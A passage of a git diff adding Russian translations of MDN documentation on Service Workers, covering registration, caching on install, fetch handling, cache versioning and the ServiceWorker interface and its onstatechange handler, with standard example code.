+<p><strong>На заметку</strong>: Вы можете получить гораздо больше информации о промисах, прочитав превосходную статью Джейка Арчибальда (Jake Archibald’s) <a href="http://www.html5rocks.com/en/tutorials/es6/promises/">JavaScript Promises: there and back again</a>.</p>
+</div>
+
+<h2 id="Демонстрация_Service_Workers">Демонстрация Service Workers</h2>
+
+<p>Чтобы продемонстрировать только базовые моменты регистрации и установки сервис-воркеров, мы создали простое демо-приложение, названое <a href="https://github.com/mdn/sw-test">sw-test</a>. Это простая галерея изображений "Star wars Lego". Оно использует промис-функции, чтобы прочитать из JSON-объекта и загрузить, используя технологию Ajax, изображения, находящиеся далее нижнего края страницы, до того как они будут показаны. В приложении также еще регистрируется, устанавливается и активируется сервис-воркер, и, в случае если браузер поддерживает спецификацию Service Worker, запрашиваемые ресурсы будут закешированы, и приложение будет работать в offline-режиме!</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8243/demo-screenshot.png" style="display: block; height: 410px; margin: 0px auto; width: 480px;"><br>
+ <br>
+ Вы можете посмотреть <a href="https://github.com/mdn/sw-test/">исходный код на GitHub</a>, а также <a href="https://mdn.github.io/sw-test/">этот живой пример</a>. Единственное, что мы тут рассмотрим, это промис (смотрите <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L22-L47">app.js строки 22-47</a>), модифицированная версия того, о котором вы читали выше в разделе <a href="https://github.com/mdn/promises-test">Тестовая демонстрация промисов</a>. Разница в следующем:</p>
+
+<ol>
+ <li>Ранее мы передавали параметром лишь URL изображения, которое мы хотели загрузить. Теперь же, мы передаем JSON-фрагмент, содержащий все данные для изображения (посмотрите, как это выглядит в <a href="https://github.com/mdn/sw-test/blob/gh-pages/image-list.js">image-list.js</a>). Это сделано потому, что все данные для выполнения каждого промиса должны быть переданы ему, так как он выполняется асинхронно. Если же вы передали лишь URL, а чуть позже попытались получить доступ к другим атрибутам в JSON-фрагменте внутри цикла <code>for()</code>, это бы не сработало, так как этот промис не был бы выполнен во время текущей итерации цикла (это синхронный процесс).</li>
+ <li>Теперь мы выполняем промис с параметром-массивом, так как дальше мы хотим сделать загруженные данные изображения доступными для разрешающей функции, одновременно с именем файла, данными авторства и замещающим текстом (см. <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L31-L34">app.js строки 31-34</a>). Промисы будут выполняться со всего одним аргументом, поэтому, если вы хотите выполнить их с несколькими параметрами, вы должны использовать массив/объект.</li>
+ <li>Затем, чтобы получить доступ к выполненным значениям промисов, мы обращаемся к ним так, как было задумано (смотрите <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L60-L64">app.js строки 60-64</a>). По началу это может выглядеть немного странно, но именно так и работают промисы.</li>
+</ol>
+
+<h2 id="Погружение_в_Service_Worker">Погружение в Service Worker</h2>
+
+<p>Итак, переходим к Service Worker!</p>
+
+<h3 id="Регистрация_воркеров">Регистрация воркеров</h3>
+
+<p>Ниже представлен первый блок кода файла app.js. Это точка входа в Service Worker.</p>
+
+<pre class="brush: js notranslate">if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('./sw-test/sw.js', {scope: './sw-test/'})
+  .then((reg) =&gt; {
+    // регистрация сработала
+    console.log('Registration succeeded. Scope is ' + reg.scope);
+  }).catch((error) =&gt; {
+    // регистрация прошла неудачно
+    console.log('Registration failed with ' + error);
+  });
+}</pre>
+
+<ol>
+ <li>Внешний условный блок выполняет проверку на поддержку Service Worker, чтобы убедиться что технология доступна, до того как начать регистрацию.</li>
+ <li>Далее, чтобы зарегистрировать сервис-воркера для этого сайта, мы используем функцию {{domxref("ServiceWorkerContainer.register()") }}. Сервис-воркер представляет собой JavaScript-файл приложения (обратите внимание, что URL указывается относительно "корня", а не места расположения JS-файла, регистрирующего сервис-воркер).</li>
+ <li>Параметр scope - не обязателен, он может быть использован для указания подмножества контента, которое вы хотите отдать под контроль сервис-воркера. В нашем случае, мы указали <code>'./sw-test/'</code>. Если вы не укажете его, то будет использовано значение по умолчанию; мы же указали его только в целях иллюстрации.</li>
+ <li>Метод <code>.then()</code> был использован для обработки успешной регистрации. Если промис разрешится успешно, то код, переданный этому методу, будет выполнен.</li>
+ <li>Ну и наконец, в конец нашего промиса мы добавляем функцию <code>.catch()</code>, которая будет выполнена в случае, если промис будет отклонен.</li>
+</ol>
+
+<p>Предыдущий код регистрирует сервис-воркера, который работает в worker-контексте, и следовательно, не имеет доступа к DOM. Затем вы запускате код в сервис-воркере, вне ваших страниц, чтобы контролировать их загрузку.</p>
+
+<p>Один сервис-воркер может контролировать несколько страниц. Каждый раз, когда загружается страница, находящаяся в пределах области видимости, сервис-воркер будет установлен на ней и начнет работу. Поэтому будьте осторожны с применением глобальных переменных в скриптах сервис-воркеров, потому как у каждой страницы нет своего уникального экземпляра сервис-воркера.</p>
+
+<div class="note">
+<p><strong>На заметку</strong>: Сервис-воркеры функционально похожи на прокси-серверы, они позволяют модифицировать запросы и ответы, замещая записями из собственного кеша, и многое другое.</p>
+</div>
+
+<div class="note">
+<p><strong>На заметку</strong>: Есть одна очень хорошая особенность при работе с сервис-воркерами. В случае, если вы используете функционал проверки поддержки Service Worker, то приложение в браузерах, не имеющих поддержки, продолжат нормально работать с ожидаемым поведением. Кроме того, если браузер поддерживает только AppCache, то будет использована эта технология. В случае, если браузер поддерживает и AppCache и Service Worker, то будет использована Service Worker.</p>
+</div>
+
+<h4 id="Почему_мой_сервис-воркер_не_прошел_регистрацию">Почему мой сервис-воркер не прошел регистрацию?</h4>
+
+<p>Это может произойти по следующим причинам:</p>
+
+<ol>
+ <li>Приложение загружено не по протоколу HTTPS.</li>
+ <li>Путь к сервис-воркеру указан некорректно — он должен быть написан относительно origin запроса, а не вашей корневой директории с приложением. В нашем примере воркер расположен в <code>https://mdn.github.io/sw-test/sw.js</code>, корневая папка — <code>https://mdn.github.io/sw-test/</code>. Но в качестве пути к сервис-воркеру нужно указывать <code>/sw-test/sw.js</code>, а не <code>/sw.js</code>.</li>
+ <li>Origin сервис-воркера отличается от origin вашего приложения. Это также запрещено.</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12630/important-notes.png" style="display: block; height: 277px; margin: 0px auto; width: 574px;"></p>
+
+<p>Также обратите внимание:</p>
+
+<ul>
+ <li>В сервис-воркер будут попадать только те запросы, которые соответствуют его scope.</li>
+ <li>Максимальная видимость scope сервис-воркера равна его location.</li>
+ <li>Если ваш сервис-воркер работает на клиенте, которому был передан заголовок <code>Service-Worker-Allowed</code>, вы можете указать список максимальных scope'ов для этих воркеров.</li>
+</ul>
+
+<h3 id="Установка_и_активация_заполнение_кеша">Установка и активация: заполнение кеша</h3>
+
+<p>После того как ваш сервис-воркер будет зарегистрирован, браузер может попробовать установить его и активировать на странице/сайте.</p>
+
+<p>Событие install возникает после того как установка успешно завершится. Это событие используется главным образом для того, чтобы заполнить кеш браузера ресурсами, необходимыми для успешного запуска в offline-режиме. Для этого используется новый API хранилища Service Worker — {{domxref("cache")}} — глобальный для всех сервис-воркеров, который позволяет нам хранить результаты запросов, используя в качестве ключа для их получения сами запросы. Этот API работает аналогично стандартному кешу браузера, но только для вашего домена. Данные в кеше сохраняются до тех пор, пока вы сами не решите их удалить — вы имеете полный контроль.</p>
+
+<div class="note">
+<p><strong>На заметку</strong>: Cache API поддерживается не всеми браузерами (смотрите раздел {{anch("Browser support")}} чтобы получить больше информации). Если вы хотите сейчас использовать эту технологию, то можете рассмотреть возможность использования полифила, который доступен в <a href="https://github.com/Polymer/topeka/blob/master/sw.js">Google's Topeka demo</a>, или можете хранить ресурсы в <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p>
+</div>
+
+<p>Давайте начнем этот раздел посмотрев на фрагмент кода ниже — это <a href="https://github.com/mdn/sw-test/blob/gh-pages/sw.js#L1-L17">первый блок кода, который вы увидите в нашем сервис-воркере</a>:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('install', (event) =&gt; {
+  event.waitUntil(
+    caches.open('v1').then((cache) =&gt; {
+      return cache.addAll([
+        './sw-test/',
+        './sw-test/index.html',
+        './sw-test/style.css',
+        './sw-test/app.js',
+        './sw-test/image-list.js',
+        './sw-test/star-wars-logo.jpg',
+        './sw-test/gallery/',
+        './sw-test/gallery/bountyHunters.jpg',
+        './sw-test/gallery/myLittleVader.jpg',
+        './sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});</pre>
+
+<ol>
+ <li>Здесь мы добавляем обработчик события <code>install</code> к сервис-воркеру (отныне <code>self</code>), и затем вызываем метод {{domxref("ExtendableEvent.waitUntil()") }} объекта события. Такая конструкция гарантирует, что сервис-воркер не будет установлен, пока код, переданный внутри <code>waitUntil()</code>, не завершится с успехом.</li>
+ <li><span style="line-height: 1.5;">Внутри <code>waitUntil()</code> мы используем метод </span><a href="/en-US/docs/Web/API/CacheStorage/open">caches.open()</a>, чтобы создать новый кеш, который назовём <code>v1</code>, это будет первая версия кеша ресурсов. Этот метод возвращает промис для созданного кеша; когда он выполнится, у объекта созданного кеша мы вызовем метод <code>addAll()</code>, который в качестве параметра ожидает получить массив origin-относительных URL всех ресурсов, которые мы хотим хранить в кеше.</li>
+ <li>Если промис будет отклонен, то установка будет завершена неудачно, и воркер ничего не сделает. Это хорошо, потому как вы можете исправить свой код и затем попробовать провести регистрацию в следующий раз.</li>
+ <li>После успешной установки сервис-воркер активируется. Этот момент не очень важен при первоначальной установке/активации сервис-воркера, в то же время он имеет большое значение, когда происходит обновление воркера (смотрите раздел {{anch("Обновление вашего сервис-воркера")}}, находящийся ниже).</li>
+</ol>
+
+<div class="note">
+<p><span style="font-size: 14px; line-height: 21px;"><strong>На заметку</strong></span>: <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a> работает схожим образом, но в синхронном режиме, поэтому запрещен в сервис-воркерах.</p>
+</div>
+
+<div class="note">
+<p><span style="font-size: 14px; line-height: 21px;"><strong>На заметку</strong></span>: При необходимости хранить данные в сервис-воркерах вы можете использовать <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p>
+</div>
+
+<h3 id="Настраиваемые_ответы_на_запросы">Настраиваемые ответы на запросы</h3>
+
+<p>Теперь ресурсы вашего сайта находятся в кеше и вам необходимо указать сервис-воркеру, что делать с этим контентом. Это легко сделать, обработав событие <code>fetch</code>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12634/sw-fetch.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Событие <code>fetch</code> возникает каждый раз, когда запрашиваются любые подконтрольные сервис-воркеру ресурсы, к которым относятся документы из области видимости и другие ресурсы, связанные с этими документами (например, если в index.html происходит кросс-доменный запрос для загрузки изображения, то он тоже попадет в сервис-воркер).</p>
+
+<p>Вы можете подключить к сервис-воркеру обработчик события <code>fetch</code> и внутри него на объекте события вызвать метод <code>respondWith()</code>, чтобы заменить ответы и показать собственную "магию".</p>
+
+<pre class="brush: js notranslate">self.addEventListener('fetch', (event) =&gt; {
+  event.respondWith(
+    // магия происходит здесь
+  );
+});
+</pre>
+
+<p>Для начала, на каждый сетевой запрос мы можем отдать в ответ ресурс, чей url соответствует запросу:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('fetch', (event) =&gt; {
+  event.respondWith(
+    caches.match(event.request)
+  );
+});</pre>
+
+<p><code>caches.match(event.request)</code> позволяет нам проверять сетевой запрос ресурса на соответствие какому-либо доступному в кеше ресурсу, если такой ресурс имеется. Соответствие проверяется по url и изменяемым заголовкам.</p>
+
+<p>Давайте рассмотрим несколько других вариантов реализации нашей магии (чтобы получить больше информации об интерфейсах {{domxref("Request")}} и {{domxref("Response")}} смотрите <a href="/en-US/docs/Web/API/Fetch_API">документацию к Fetch API</a>.)</p>
+
+<ol>
+ <li>
+  <p>Конструктор <code>{{domxref("Response.Response","Response()")}}</code> позволяет вам создавать собственные ответы. В данном случае, мы всего лишь возвращаем простую текстовую строку:</p>
+
+  <pre class="brush: js notranslate">new Response('Hello from your friendly neighbourhood service worker!');
+</pre>
+
+  <p>В этом более сложном объекте Response показано, как вы можете передать набор заголовков в свой ответ, эмулируя стандартный HTTP-ответ. Здесь мы просто сообщаем браузеру, чем является содержимое ответа:</p>
+
+  <pre class="brush: js notranslate">new Response('&lt;p&gt;Hello from your friendly neighbourhood service worker!&lt;/p&gt;', {
+  headers: { 'Content-Type': 'text/html' }
+});</pre>
+ </li>
+ <li>
+  <p>Если совпадение не было найдено в кеше, вы можете попросить браузер {{domxref("GlobalFetch.fetch","загрузить")}} тот же ресурс, чтобы получить новый файл через обычную сеть, если она доступна:</p>
+
+  <pre class="brush: js notranslate">fetch(event.request);</pre>
+ </li>
+ <li>
+  <p>Если информация, соответствующая запросу, в кеше не найдена, а также сеть не доступна, то вы можете просто ответить на запрос какой-либо страницей по умолчанию, которая хранится в кеше, используя {{domxref("CacheStorage.match","match()")}}:</p>
+
+  <pre class="brush: js notranslate">caches.match('./fallback.html');</pre>
+ </li>
+ <li>
+  <p>Вы можете получить больше информации о каждом запросе, используя для этого свойства объекта {{domxref("Request")}}, который можно получить как свойство объекта {{domxref("FetchEvent")}}:</p>
+
+  <pre class="brush: js notranslate">event.request.url
+event.request.method
+event.request.headers
+event.request.body</pre>
+ </li>
+</ol>
+
+<h2 id="Восстановление_неудачных_запросов">Восстановление неудачных запросов</h2>
+
+<p>Итак, <code>caches.match(event.request)</code> отработает как нужно только в том случае, если в кеше сервис-воркера будет найдено соответствие запросу. Но что произойдет, если такого соответствия не будет найдено? Если мы не предоставим никакого механизма обработки такой ситуации, то промис выполнится со значением <code>undefined</code> и мы не получим никакого значения.</p>
+
+<p>К счастью, сервис-воркеры имеют структуру основанную на промисах, что делает тривиальной такую обработку и предоставляет большое количество способов успешно обработать запрос:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('fetch', (event) =&gt; {
+  event.respondWith(
+    caches.match(event.request).then((response) =&gt; {
+      return response || fetch(event.request);
+    })
+  );
+});</pre>
+
+<p>Если промис будет отклонен, функция <code>catch()</code> вернет обычный сетевой запрос к внешнему ресурсу. Это значит, что, если сеть доступна, то ресурс просто загрузится с сервера.</p>
+
+<p>Если же мы были достаточно умны, то мы не стали бы просто возвращать сетевой запрос, а сохранили бы его результат в кеше, чтобы иметь возможность получить его в offline-режиме. В случае с нашим демо-приложением "Star Wars gallery", это означает, что, если в галерею будет добавлено еще одно изображение, то оно будет получено и сохранено в кеше:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('fetch', (event) =&gt; {
+  event.respondWith(
+    caches.match(event.request).then((resp) =&gt; {
+      return resp || fetch(event.request).then((response) =&gt; {
+        return caches.open('v1').then((cache) =&gt; {
+          cache.put(event.request, response.clone());
+          return response;
+        });
+      });
+    })
+  );
+});</pre>
+
+<p>Здесь мы возвращаем обычный сетевой запрос, который возвращен вызовом <code>fetch(event.request);</code> этот запрос также является промисом. Когда промис разрешится, мы получим кеш вызвав <code>caches.open('v1');</code> этот метод также возвращает промис. Когда разрешится уже второй промис, будет использован вызов <code>cache.put()</code>, чтобы поместить ресурс в кеш. Ресурс получен через <code>event.request</code>, а ответ — через клонирование <code>response.clone()</code>. Клон помещается в кеш, а оригинальный ответ передается браузеру, который передает его странице, которая запросила ресурс.</p>
+
+<p>Почему? Потому что потоки запроса и ответа могут быть прочитаны только единожды. Чтобы ответ был получен браузером и сохранен в кеше, нам нужно клонировать его. Так оригинальный объект отправится браузеру, а клон будет закеширован. Оба они будут прочитаны единожды.</p>
+
+<p>У нас все ещё остается единственная проблема - если на какой-либо запрос в кеше не будет найдено соответствие, и в этот момент сеть не доступна, то наш запрос завершится неудачно. Давайте реализуем запасной вариант по умолчанию, при котором пользователь, в описанном случае, будет получать хоть что-нибудь:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('fetch', (event) =&gt; {
+  event.respondWith(
+    caches.match(event.request).then((resp) =&gt; {
+      return resp || fetch(event.request).then((response) =&gt; {
+        let responseClone = response.clone();
+        caches.open('v1').then((cache) =&gt; {
+          cache.put(event.request, responseClone);
+        });
+
+        return response;
+      });
+    }).catch(() =&gt; {
+      return caches.match('./sw-test/gallery/myLittleVader.jpg');
+    })
+  );
+});</pre>
+
+<p>Здесь мы решили обрабатывать только картинки, потому что единственные запросы, которые могут не удасться — это загрузка новых картинок, так как все остальное было закешировано во время обработки события <code>install</code>, которое мы обсуждали ранее.</p>
+
+<h2 id="Обновление_вашего_сервис-воркера"><a id="Updating your service worker" name="Updating your service worker">Обновление вашего сервис-воркера</a></h2>
+
+<p>Если после того, как ваш сервис-воркер был установлен, стала доступна его новая версия, при обновлении или загрузке страницы она будет установлена в фоновом режиме, но не будет активирована. Она будет активирована, лишь когда не останется ни одной страницы, использующей старую версию сервис-воркера.</p>
+
+<p>Вы можете обновить обработчик события install в новой версии сервис-воркера, чтобы получить примерно такое (обратите внимание на номер новой версии):</p>
+
+<pre class="brush: js notranslate">self.addEventListener('install', (event) =&gt; {
+  event.waitUntil(
+    caches.open('v2').then((cache) =&gt; {
+      return cache.addAll([
+        './sw-test/',
+        './sw-test/index.html',
+        './sw-test/style.css',
+        './sw-test/app.js',
+        './sw-test/image-list.js',
+
+        …
+
+        // подключение прочих ресурсов для новой версии...
+      ]);
+    })
+  );
+});</pre>
+
+<p>В то время, как этот код работает, предыдущая версия также доступна. Новая версия устанавливается в фоновом режиме. Мы можем работать с версией кеша v2, в то время как версия v1 не будет разрушена.</p>
+
+<p>Когда ни одна страница не будет использовать текущую версию, новый воркер активируется и станет ответственным за обработку всех запросов.</p>
+
+<h3 id="Удаление_старого_кеша">Удаление старого кеша</h3>
+
+<p>Вы можете обрабатывать событие activate. Оно обычно используется в случае, если нужно выполнить такие действия, которые бы нарушили работу воркеров предыдущей версии, если они все еще работают со старым кешем. Также это событие полезно использовать для того, чтобы удалить ненужные данные, чтобы освободить место, занимаемое на диске, потому что каждый браузер имеет жесткие ограничения на размер хранилища кеша, которое доступно для использования сервис-воркерами.</p>
+
+<p>Promise, переданный в <code>waitUntil()</code>, заблокирует другие события до своего завершения, поэтому можно быть уверенным, что процесс очистки закончится раньше, чем выполнится первое событие <code>fetch</code> на основе нового кеша.</p>
+
+<pre class="brush: js notranslate">self.addEventListener('activate', (event) =&gt; {
+  var cacheKeeplist = ['v2'];
+
+  event.waitUntil(
+    caches.keys().then((keyList) =&gt; {
+      return Promise.all(keyList.map((key) =&gt; {
+        if (cacheKeeplist.indexOf(key) === -1) {
+          return caches.delete(key);
+        }
+      }));
+    })
+  );
+});</pre>
+
+<h2 id="Инструменты_разработчика">Инструменты разработчика</h2>
+
+<p>В браузере Chrome есть раздел <code>chrome://inspect/#service-workers</code>, где можно увидеть активность сервис-воркеров и их хранилища. Также есть раздел <code>chrome://serviceworker-internals</code>, в котором можно получить более детальную информацию, запустить, остановить и отладить процессы сервис-воркеров. В будущем ожидается поддержка эмуляции различного качества сетевых соединений и их отсутствия, что будет весьма кстати.</p>
+
+<p>Firefox также начал реализовывать полезные инструменты для разработки сервис-воркеров:</p>
+
+<ul>
+ <li><span style="line-height: 1.5;">Вы можете пройти в раздел </span><a style="line-height: 1.5;">about:debugging</a><span style="line-height: 1.5;">, чтобы посмотреть зарегистрированные сервис-воркеры и обновить или удалить их.</span></li>
+ <li>Во время тестирования вы можете снять ограничение HTTPS, поставив флажок "Enable Service Workers over HTTP (when toolbox is open)" в <a href="/ru/docs/Tools/Settings">настройках Firefox Developer Tools</a>.</li>
+ <li>Кнопка "Забыть", включаемая в настройках «Персонализация» в Firefox, позволяет удалить все сервис-воркеры и очистить их кеши.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>На заметку</strong>: Вы можете держать своё приложение на <code>http://localhost</code> (например, используя <code>me@localhost:/my/app$ <strong>python -m SimpleHTTPServer</strong></code>) для локальной разработки. См. <a href="https://www.w3.org/TR/service-workers/#security-considerations">Security considerations</a></p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("33.0") }}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Service workers (and <a href="/en-US/docs/Web/API/Push_API">Push</a>) были отключены в <a href="https://www.mozilla.org/en-US/firefox/organizations/">расширенной версии поддержке Firefox 45</a> (ESR.)</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://serviceworke.rs/">The Service Worker Cookbook</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Готов ли ServiceWorker для использования?</a></li>
+ <li>Скачать <a href="https://mdn.mozillademos.org/files/12638/sw101.png">Service Workers 101 cheatsheet</a>.</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a></li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ru/web/api/serviceworker/index.html b/files/ru/web/api/serviceworker/index.html
new file mode 100644
index 0000000000..06cb74c21c
--- /dev/null
+++ b/files/ru/web/api/serviceworker/index.html
@@ -0,0 +1,105 @@
+---
+title: ServiceWorker
+slug: Web/API/ServiceWorker
+translation_of: Web/API/ServiceWorker
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<div></div>
+
+<p>Интерфейс <code>ServiceWorker</code>, являющийся частью <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a>, позволяет взаимодействовать с Service Worker. К одному Service Worker могут быть привязаны несколько контекстов (например страниц, Web Workers, и т.д.), каждый с использованием собственного объекта <code>ServiceWorker</code>.</p>
+
+<p>Объект <code>ServiceWorker</code> можно получить через свойства {{domxref("ServiceWorkerRegistration.active")}} и {{domxref("ServiceWorkerContainer.controller")}} — это Service Worker, который активировал и контролирует текущую страницу (в случае, если Service Worker был успешно зарегистрирован и страница была обновлена)</p>
+
+<p>Интерфейс <code>ServiceWorker</code> обрабатывает события жизненного цикла: <code>install</code> и <code>activate</code> и функциональные события, например <code>fetch</code>. Объект <code>ServiceWorker</code> также содержит опцию {{domxref("ServiceWorker.state")}}, отражающую его состояние.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <code>ServiceWorker</code> наследует свойства {{domxref("Worker")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("ServiceWorker.scriptURL")}} {{readonlyinline}}</dt>
+ <dd>URL кода для данного Service Worker. URL должен находиться в том же домене, что и документ, регистрирующий <code>ServiceWorker</code>.</dd>
+ <dt>{{domxref("ServiceWorker.state")}} {{readonlyinline}}</dt>
+ <dd>Состояние данного Service Worker. Может иметь следующие значения: <code>installing</code>, <code>installed,</code> <code>activating</code>, <code>activated</code> или <code>redundant</code>.</dd>
+</dl>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("ServiceWorker.onstatechange")}} {{readonlyinline}}</dt>
+ <dd>Срабатывает при срабатывании события <code>statechange</code>; По сути, срабатывает при каждом изменении {{domxref("ServiceWorker.state")}}.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Интерфейс <code>ServiceWorker</code> наследует все методы интерфейса {{domxref("Worker")}}, кроме {{domxref("Worker.terminate")}}, который не должен быть доступен для Service Worker.</em></p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Этот фрагмент кода из <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/registration-events/index.html">примера событий Service Worker</a> (<a href="https://googlechrome.github.io/samples/service-worker/registration-events/">демо</a>). Данный код возвращает значение {{domxref("ServiceWorker.state")}} при каждом изменении состояния.</p>
+
+<pre class="brush: js">if ('serviceWorker' in navigator) {
+    navigator.serviceWorker.register('service-worker.js', {
+        scope: './'
+    }).then(function (registration) {
+        var serviceWorker;
+        if (registration.installing) {
+            serviceWorker = registration.installing;
+            document.querySelector('#kind').textContent = 'installing';
+        } else if (registration.waiting) {
+            serviceWorker = registration.waiting;
+            document.querySelector('#kind').textContent = 'waiting';
+        } else if (registration.active) {
+            serviceWorker = registration.active;
+            document.querySelector('#kind').textContent = 'active';
+        }
+        if (serviceWorker) {
+            // logState(serviceWorker.state);
+            serviceWorker.addEventListener('statechange', function (e) {
+                // logState(e.target.state);
+            });
+        }
+    }).catch (function (error) {
+        // Произошла ошибка при регистрации Service Worker.
+        // Файл service-worker.js может быть недоступным или содержать ошибки синтаксиса.
+    });
+} else {
+    // Данный браузер не поддерживает Service Worker.
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#serviceworker', 'ServiceWorker')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка">Поддержка</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorker")}}</p>
+</div>
+
+<h2 id="Смотрите_Также">Смотрите Также</h2>
+
+<ul>
+ <li><a href="https://serviceworke.rs">ServiceWorker Cookbook</a></li>
+ <li><a href="/ru/docs/Web/API/Service_Worker_API/Using_Service_Workers">Использование Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Базовый пример для Service Worker</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Поддержка ServiceWorker браузерами</a></li>
+ <li>{{jsxref("Promise", "Promises")}}</li>
+ <li><a href="/ru/docs/DOM/Using_web_workers">Использование Web Workers</a></li>
+</ul>
diff --git a/files/ru/web/api/serviceworker/onstatechange/index.html b/files/ru/web/api/serviceworker/onstatechange/index.html
new file mode 100644
index 0000000000..4a02488880
--- /dev/null
+++ b/files/ru/web/api/serviceworker/onstatechange/index.html
@@ -0,0 +1,73 @@
+---
+title: ServiceWorker.onstatechange
+slug: Web/API/ServiceWorker/onstatechange
+translation_of: Web/API/ServiceWorker/onstatechange
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p>Обработчик события, вызываемый при срабатывании события <code>statechange</code>; по сути, срабатывает при изменении {{domxref("ServiceWorker.state")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">ServiceWorker.onstatechange = function(statechangeevent) { ... }
+ServiceWorker.addEventListener('statechange', function(statechangeevent) { ... } )</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Данный фрагмент кода из <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/registration-events/index.html">примера событий service worker</a> (<a href="https://googlechrome.github.io/samples/service-worker/registration-events/">демо</a>) возвращает состояние при каждом его изменении.</p>
+
+<pre class="brush: js">var serviceWorker;
+if (registration.installing) {
+  serviceWorker = registration.installing;
+  document.querySelector('#kind').textContent = 'installing';
+} else if (registration.waiting) {
+  serviceWorker = registration.waiting;
+  document.querySelector('#kind').textContent = 'waiting';
+} else if (registration.active) {
+  serviceWorker = registration.active;
+  document.querySelector('#kind').textContent = 'active';
+}
+
+if (serviceWorker) {
+  logState(serviceWorker.state);
+  serviceWorker.addEventListener('statechange', function(e) {
+  logState(e.target.state);
+  });
+}</pre>
+
+<p>Обратите внимание, что при срабатывании <code>statechange</code>, ссылки на service worker могли измениться. Например:</p>
+
+<pre class="brush: js">navigator.serviceWorker.register(..).then(function(swr) {
+  swr.installing.state == "installing"
+  swr.installing.onstatechange = function() {
+    swr.installing == null;
+    // At this point, swr.waiting OR swr.active might be true. This is because the statechange
+    // event gets queued, meanwhile the underlying worker may have gone into the waiting
+    // state and will be immediately activated if possible.
+  }
+})</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-serviceworker-onstatechange', 'ServiceWorker.onstatechange')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
